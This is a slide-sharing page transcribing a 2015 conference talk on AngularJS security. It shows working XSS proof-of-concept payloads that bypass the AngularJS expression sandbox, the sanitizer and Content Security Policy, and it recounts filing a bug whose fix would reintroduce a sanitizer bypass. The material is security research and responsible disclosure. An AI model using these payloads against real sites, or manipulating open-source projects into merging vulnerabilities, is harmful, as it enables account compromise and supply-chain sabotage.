An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
•
1 like•1,066 views
Some voices claim that "Angular is what HTML would have been if it had been designed for building web applications". While this statement may or may not be true, is certainly accounts as one of the bolder ones a JavaScript web framework can ever issue. And where boldness is glistening like a German Bratwurst sausage in the evening sun, a critical review from a grumpy old security person shouldn’t be too far away. This talk will have a stern, very stern look at AngularJS in particular and shed light on the security aspects of this ever-popular tool. Did the super-hero framework do everything right and follow its own super-heroic principles? Does AngularJS increase or rather decrease the attack surface of a web application? How does AngularJS play along with the Content Security Policy, and was it a good idea to combine this kind of security with futuristic feature creep? And what about AngularJS version 2.0? Beware that we won’t stop at glancing at the code itself, investigating security best practices, and verifying compatibility and other common things that contribute to robust security (or lack thereof). We will cross the moral border and see if the AngularJS team could notice rogue bug tickets. A pivotal question that everyone is wondering about is: Have they successfully kept evil minds like yours truly speaker here from introducing new security bugs into the code base? This talk is a reckoning with a modern JavaScript framework that promises a lot and keeps even more, not necessarily for the best for developers and users. We will conclude in deriving a general lesson learnt and hopefully agree that progress doesn't invariably mean an enhancement.
1 of 63
Download to read offline
More Related Content
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
1. An Abusive Relationship
with AngularJS
About the Security Adventures with the "Super-Hero"
Framework
A talk by Mario Heiderich
mario@cure53.de || @0x6D6172696F
2. Godzilla in your DOM
● Dr.-Ing. Mario Heiderich
● Researcher and Post-Doc, Ruhr-Uni Bochum
● PhD Thesis about Client Side Security and Defense
● Founder of Cure53
● Pentest- & Security-Firm located in Berlin
● Security, Consulting, Workshops, Trainings
● Simply the Best Company in the World
● Published Author and Speaker
● Specialized on HTML5, DOM and SVG Security
● JavaScript, XSS and Client Side Attacks
● HTML5 Security Cheatsheet
● And DOMPurify!
● @0x6D6172696F
● mario@cure53.de
5. What is AngularJS?
● Popular JavaScript MVC
● Model-View-Whatever actually
● Self-proclaimed “Superheroic Framework”
● Maintained and recommended by Google
● Polarizing Philosophy
● Ever-growing user-base
● Large rate of adoption
● Heavy traffic on GitHub repository
6. Why AngularJS
● It's not the first time I've been talking about
AngularJS and its shenanigans.
● We've been whaling on AngularJS for quite
some time actually.
● Here for example.
● Leading to a strange discussion.
● Is it personal? No. The reasons are different.
8. Relationship Reasons
● It's got a large amount of (ironic, duh!) self-love.
Superheroic framework.
● It's changing ways websites work.
● It breaks the API often and makes upgrades
harder.
● It assumes to be smarter than HTML and works
with “markup sugar”.
● It will break everything in upcoming version 2.0.
11. Maybe Not
● AngularJS has high security standards.
● Security level is great if the rules are being
followed.
● By developers and maintainers. Both.
● And anything complex running in the browser
must know the browser.
● The web security paradox of layers.
● Network, Server, Browser, Framework, User, …
and all the ways back to the network.
12. It's better to design your application in such a way that users
cannot change client-side templates. For instance:
Do not mix client and server templates
Do not use user input to generate templates dynamically
Do not run user input through $scope.$eval
Consider using CSP (but don't rely only on CSP)
https://docs.angularjs.org/guide/security
16. A1: The AngularJS Sandbox
● The AngularJS Sandbox is a weird creature with strange
motivations.
● According to the documents, it's not a security tool.
● It is mostly meant to “get devs off that DOM”.
● Mean, to limit exposure of the original DOM to avoid its
pitfalls.
● The AngularJS sandbox is in place for expressions and
several directives.
● User input reflected in an expression often means
immediate XSS. The sandbox prevents that.
17. A1: First Bypasses
● Bypassing the sandbox in early AngularJS versions
was trivial.
● {{constructor.constructor('alert(1)')()}}
● That's it. Access the scope object's constructor, next
access constructor again, get Function, done.
● Function('code here')(); // like an eval
● This attack works starting with version AngularJS
1.0 and stops working in 1.2.0.
● Sadly, many sites still employ AngularJS 1.1.x.
● And have difficulties upgrading due to API changes.
Or simply don't care about upgrades.
19. A1: First Fixes
● AngularJS reacted to this and implemented fixes.
Because “no security tool”, right?
● This was done by restricting access to Function (and
other dangerous objects)
● So, we needed to get Function from somewhere
else.
● Somewhere, where AngularJS doesn't notice we
have access to it.
● ES5, Callbacks and __proto__ help here!
20. A1: More Bypasses
● AngularJS' parser was actually quite smart.
● Bypasses needed to be more creative.
● Finders are Jann Horn, Mathias Karlsson and
Gábor Molnár
● And luckily, we had Object to provide
methods to get Function from.
● Or mentioned callbacks.
● Let's dissect those for a brief moment.
25. <!-- Bypass via attributes, no user interaction →
<!-- Open that page with #foo in the URL -->
<!doctype html>
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
>
</script>
</head>
<body>
<a id="foo" ng-app ng-
focus="$event.view.location.replace('javascript:document.write(docume
nt.domain)')" contenteditable="true"></a>
</body>
</html>
28. A1: Current State
● What about versions 1.3.2 to latest?
● There is no publicly known sandbox bypasses.
● Access to pretty much everything has been
restricted.
● No window, no Function, no Object, no call() or
apply(), no document, no DOM nodes
● And all other interesting things the parser cannot
understand. RegExp, “new”, anonymous functions.
● Is that the end of the road?
● Let's have a look!
29. <!-- Jann Horn's latest Bypass -->
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js"
></script>
</head>
<body ng-app>
{{
'this is how you write a number properly. also, numbers are basically
arrays.';
0[['__proto__']].toString = [][['__proto__']].pop;
0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)';
0[['__proto__']].length = 1;
'did you know that angularjs eval parses, then re-stringifies
numbers? :)';
$root.$eval("x=0", $root);
}}
</body>
</html>
30. A1: User Interaction
● And there is of course variations, the
maintainers cannot really do much about.
● For example copy&paste, my favorite.
34. A2: The Sanitizer
● AngularJS has an integrated HTML sanitizer.
● It's a component called $sanitize.
● It's purpose is to wash away XSS attacks
from a string of HTML.
● And return a clean string of HTML ready for
safe and secure usage.
● There is two major versions, one horrible
version, one that's not so bad.
35. A2: The Old Sanitizer
● The Old Sanitizer uses an actual HTML parser from
2008.
● That old thing from John E. Resig.
● It's extremely strict, hard to configure, crashes
literally all the time.
● We published a test-case where you can play with it.
● And it can be bypassed if some likely
prerequisites are met.
● Because of Chrome.
● Also, a friendly hat-tip to Gareth Heyes!
37. A2: The New Sanitizer
● The New Sanitizer is still ugly. But it uses the DOM
instead of a parser.
● Namely, document.implementation, just like
DOMPurify
● It is still very strict, even more so since now it
forbids SVG by default. Boo.
● Early versions did not and were “bypassable”.
● And SVG is admittedly tricky to handle.
● New versions do and are still “bypassable”.
● Because of Chrome. Again.
● Cheers, Roman Shafigullin.
41. A3: Attacking the CSP Mode
● Contrary to many other frameworks, AngularJS works
well together with CSP.
● CSP? Content Security Policy.
● The wannabe “XSS Killer”.
● And it has to, otherwise it wouldn't be deployable in
extensions and alike.
● Its compatibility with CSP is a strength and a
weakness at the same time.
● We are interested in the latter of course.
42. A3: Early CSP Bypasses
● The first spotted bypasses were trivial to say the
least. Just use Framework features.
● Take a website with strong CSP and older AngularJS.
● Find an injection.
● Don't do "onclick="alert(1)"
● But instead do "ng-click="$event.view.alert(1)".
● Because $event leaks window via view.
● This works until version 1.1.5.
44. A3: Fixes and new Bypasses
● Why not use the sandbox here as well?
● AngularJS started to prevent access to window and other
properties.
● So we would do it indirectly, abusing a Chrome flaw, with the
help of Blob.
● But for Blob we would need the “new” operator and AngularJS
doesn't parse that.
● So we need to resort to using ES6 and the brand new
Reflect API.
● This works until version 1.3.1 by the way.
● But there is a problem. Chrome doesn't implement
Reflect.construct() yet.
● So we have a theoretical bypass for now.
● And Firefox as well as Edge respect CSP w. blob:.
45. <?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
></script>
</head>
<body>
<h1 ng-click="
$event.view.location.replace($event.view.URL.createObjectURL($event.
view.Reflect.construct( $event.view.Blob,
[['<script>alert(1)</script>'],{type:'text/html'}])))
">XSS</h1>
<!-- without CSP we can of course do this -->
<h1 ng-
click="$event.view.location.replace('javascript:alert(1)')">XSS</h1>
</body>
46. <!-- read from bottom to top -->
<h1 ng-click="
$event.view.location.replace( // 4. call location.replace
$event.view.URL.createObjectURL( // 3. create Blob URL
$event.view.Reflect.construct( // 2. get around “new”
$event.view.Blob,
[['<script>alert(1)</script>'],
{type:'text/html'}] // 1. build a Blob
)
)
);
">XSS</h1>
47. A3: Universal CSP Bypass
● There's another bypass they cannot easily fix.
● It works where applications use the Google CDN.
● And it relates to a collision check they
implemented. Only too late.
● Because it landed in 1.2.15 and newer.
● “WARNING: Tried to load angular more than once.”
● And essentially enables a downgrade attack.
● That will, if Google CDN is white-listed, universally
bypass CSP. Don't white-list that CDN.
● Just bring the old bypasses back!
51. A4: Attacking the Code-Base
● What does an attacker do if no exploitable bugs
can be found?
● Of course. We attack the project itself.
● And use the power of open source to introduce
changes that cause the bugs we want.
● And thereby get both praise for reporting a bug
and the desired exploit for free.
● We did that to AngularJS.
● Google Security knew in advance,
AngularJS did not.
52. A4: The Con-Setup
● We needed a subtle “bug” that upon being fixed would
raise a security issue.
● Or smuggle in a pull request that looks unsuspicious
enough to pass QA.
● The first option is unlikely, like a lottery win.
● The second option is a bit more risky, what if we get
detected?
● Well.
● We were lucky, that exact subtle “bug” existed
and it did in the $sanitizer component.
● Let's have a look!
53. A4: The Bug
// SVG attributes (without "id" and "name" attributes)
// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes
var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' +
'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' +
'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' +
'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' +
'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' +
'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' +
'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' +
'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' +
'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' +
'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' +
'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' +
'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' +
'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' +
'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' +
'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' +
'zoomAndPan');
Fun fact, those attributes were considered safe because of a
deprecated Wiki page from WHATWG:
https://wiki.whatwg.org/wiki/Sanitization_rules
54. A4: The Bug
angular.forEach(attrs, function(value, key) {
var lkey = angular.lowercase(key); // < here!
var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background');
if (validAttrs[lkey] === true &&
(uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
}
);
As we can see, the lowercasing ruins the test – and even valid
attributes cannot pass. What a coincidence, that this happens
exactly for dangerous attributes here! Thanks, SVG!
55. A4: The Execution
● So, if that specific behavior observed in
the sanitizer blocks a bypass...
● We need to file a bug to get it fixed!
● The bug. Not the bypass :)
● So we did that.
● And it got accepted!
56. A4: The Bypass
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href"
begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
We use an animation to animate a link's href attribute from a
benign, over a dangerous to a harmless but invalid state,
causing the browser to jump back to the malicious state. Neat.
57. A4: The Aftermath
● We reported the issue to Google Security.
● They informed the AngularJS Team.
● Nothing happened for weeks.
● The next release came close. Danger!
● We pinged again.
● They finally fixed our bug.
● Phew :)
● Now, note that file contains a big comment warning
the developers.
58. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Any commits to this file should be reviewed with security in mind. *
* Changes to this file can potentially create security vulnerabilities. *
* An approval from 2 Core members with history of modifying *
* this file is required. *
* *
* Does the change somehow allow for arbitrary javascript to be executed? *
* Or allows for someone to change the prototype of built-in objects? *
* Or gives undesired access to variables likes document or window? *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
59. And, in case you hate
us a bit for doing that
stunt...
62. A Quick Conclusion
● AngularJS does in fact extend the attack surface
dramatically. Older versions even more.
● Meanwhile, some things are done right. Others can
almost never be fixed again.
● Developers have to know pitfalls to avoid them.
● And pitfalls often are unfairly hard to detect and avoid.
Especially when CSP is involved.
● Many sites still use older versions. Many.
● Open Source can be risky if the traction is high.
● Google's team already does well though.
● But Google could do better in helping developers.
63. The End
● Question?
● Comments?
● Thanks a lot!
● Shouts go out to
● Gareth McHeyes
● Jann Horn
● Mathias Karlsson
● Gábor Molnár
● David Ross
● Eduardo Vela